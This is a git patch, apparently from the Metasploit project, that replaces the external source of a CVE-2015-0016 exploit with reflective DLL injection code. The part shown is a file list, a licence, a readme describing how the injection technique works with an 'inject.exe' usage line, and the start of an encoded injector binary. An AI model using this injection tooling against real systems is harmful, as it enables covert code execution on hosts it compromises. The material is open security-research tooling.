From ecf3fb61d6f8c5fda1262cb1aea02e08267d30bc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 26 Aug 2015 15:32:50 -0500 Subject: [PATCH] Replace external source --- .../source/exploits/cve-2015-0016/.gitignore | 16 + .../source/exploits/cve-2015-0016/LICENSE.txt | 25 + .../source/exploits/cve-2015-0016/Readme.md | 40 ++ .../exploits/cve-2015-0016/bin/inject.arm.exe | Bin 0 -> 48640 bytes .../exploits/cve-2015-0016/bin/inject.exe | Bin 0 -> 76800 bytes .../exploits/cve-2015-0016/bin/inject.x64.exe | Bin 0 -> 75264 bytes .../cve-2015-0016/bin/reflective_dll.arm.dll | Bin 0 -> 43520 bytes .../cve-2015-0016/bin/reflective_dll.dll | Bin 0 -> 83456 bytes .../cve-2015-0016/bin/reflective_dll.x64.dll | Bin 0 -> 66560 bytes .../exploits/cve-2015-0016/cve-2015-0016.sln | 22 - .../cve-2015-0016/cve-2015-0016/ReadMe.txt | 48 -- .../cve-2015-0016/cve-2015-0016.cpp | 46 -- .../cve-2015-0016/cve-2015-0016.vcxproj | 105 ---- .../cve-2015-0016/cve-2015-0016/dllmain.cpp | 24 - .../cve-2015-0016/cve-2015-0016/stdafx.cpp | 8 - .../cve-2015-0016/cve-2015-0016/stdafx.h | 16 - .../cve-2015-0016/cve-2015-0016/targetver.h | 8 - .../cve-2015-0016/dll/reflective_dll.sln | 20 + .../cve-2015-0016/dll/reflective_dll.vcproj | 357 +++++++++++++ .../cve-2015-0016/dll/reflective_dll.vcxproj | 268 ++++++++++ .../dll/reflective_dll.vcxproj.filters | 41 ++ .../cve-2015-0016/dll/src/Exploit.cpp | 74 +++ .../exploits/cve-2015-0016/dll/src/Exploit.h | 5 + .../dll/src/ReflectiveDLLInjection.h | 51 ++ .../cve-2015-0016/dll/src/ReflectiveDll.c | 53 ++ .../cve-2015-0016/dll/src/ReflectiveLoader.c | 496 ++++++++++++++++++ .../cve-2015-0016/dll/src/ReflectiveLoader.h | 203 +++++++ .../cve-2015-0016/dll/src/ShimsInstaller.cpp | 190 +++++++ .../cve-2015-0016/dll/src/ShimsInstaller.h | 5 + .../exploits/cve-2015-0016/inject/inject.sln | 20 + .../cve-2015-0016/inject/inject.vcproj | 360 +++++++++++++ .../cve-2015-0016/inject/inject.vcxproj | 258 +++++++++ .../inject.vcxproj.filters} | 72 ++- .../inject/src/GetProcAddressR.c | 116 ++++ .../inject/src/GetProcAddressR.h | 36 ++ .../cve-2015-0016/inject/src/Inject.c | 120 +++++ .../cve-2015-0016/inject/src/LoadLibraryR.c | 234 +++++++++ .../cve-2015-0016/inject/src/LoadLibraryR.h | 41 ++ .../inject/src/ReflectiveDLLInjection.h | 53 ++ .../source/exploits/cve-2015-0016/rdi.sln | 44 ++ 40 files changed, 3160 insertions(+), 315 deletions(-) create mode 100755 external/source/exploits/cve-2015-0016/.gitignore create mode 100755 external/source/exploits/cve-2015-0016/LICENSE.txt create mode 100755 external/source/exploits/cve-2015-0016/Readme.md create mode 100755 external/source/exploits/cve-2015-0016/bin/inject.arm.exe create mode 100755 external/source/exploits/cve-2015-0016/bin/inject.exe create mode 100755 external/source/exploits/cve-2015-0016/bin/inject.x64.exe create mode 100755 external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll create mode 100755 external/source/exploits/cve-2015-0016/bin/reflective_dll.dll create mode 100755 external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016.sln delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h create mode 100755 external/source/exploits/cve-2015-0016/dll/reflective_dll.sln create mode 100755 external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj create mode 100755 external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj create mode 100755 external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters create mode 100755 external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp create mode 100755 external/source/exploits/cve-2015-0016/dll/src/Exploit.h create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h create mode 100755 external/source/exploits/cve-2015-0016/inject/inject.sln create mode 100755 external/source/exploits/cve-2015-0016/inject/inject.vcproj create mode 100755 external/source/exploits/cve-2015-0016/inject/inject.vcxproj rename external/source/exploits/cve-2015-0016/{cve-2015-0016/cve-2015-0016.vcxproj.filters => inject/inject.vcxproj.filters} (57%) create mode 100755 external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c create mode 100755 external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h create mode 100755 external/source/exploits/cve-2015-0016/inject/src/Inject.c create mode 100755 external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c create mode 100755 external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h create mode 100755 external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h create mode 100755 external/source/exploits/cve-2015-0016/rdi.sln diff --git a/external/source/exploits/cve-2015-0016/.gitignore b/external/source/exploits/cve-2015-0016/.gitignore new file mode 100755 index 0000000000..0d61b55c0a --- /dev/null +++ b/external/source/exploits/cve-2015-0016/.gitignore @@ -0,0 +1,16 @@ +Release/ +Debug/ +x64/ +dll/Release/ +dll/Debug/ +dll/reflective_dll.vcproj.*.user +dll/reflective_dll.vcxproj.user +inject/Release/ +inject/Debug/ +inject/inject.vcproj.*.user +inject/inject.vcxproj.user +rdi.ncb +rdi.suo +rdi.sdf +rdi.opensdf +rdi.v11.suo \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/LICENSE.txt b/external/source/exploits/cve-2015-0016/LICENSE.txt new file mode 100755 index 0000000000..f217025f51 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/Readme.md b/external/source/exploits/cve-2015-0016/Readme.md new file mode 100755 index 0000000000..814e6e7517 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/Readme.md @@ -0,0 +1,40 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. +* The library's headers and sections are loaded into their new locations in memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/cve-2015-0016/bin/inject.arm.exe b/external/source/exploits/cve-2015-0016/bin/inject.arm.exe new file mode 100755 index 0000000000000000000000000000000000000000..8d25d7bbff592fde74ff1c52b6bbeeeb5daaed4f GIT binary patch literal 48640 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 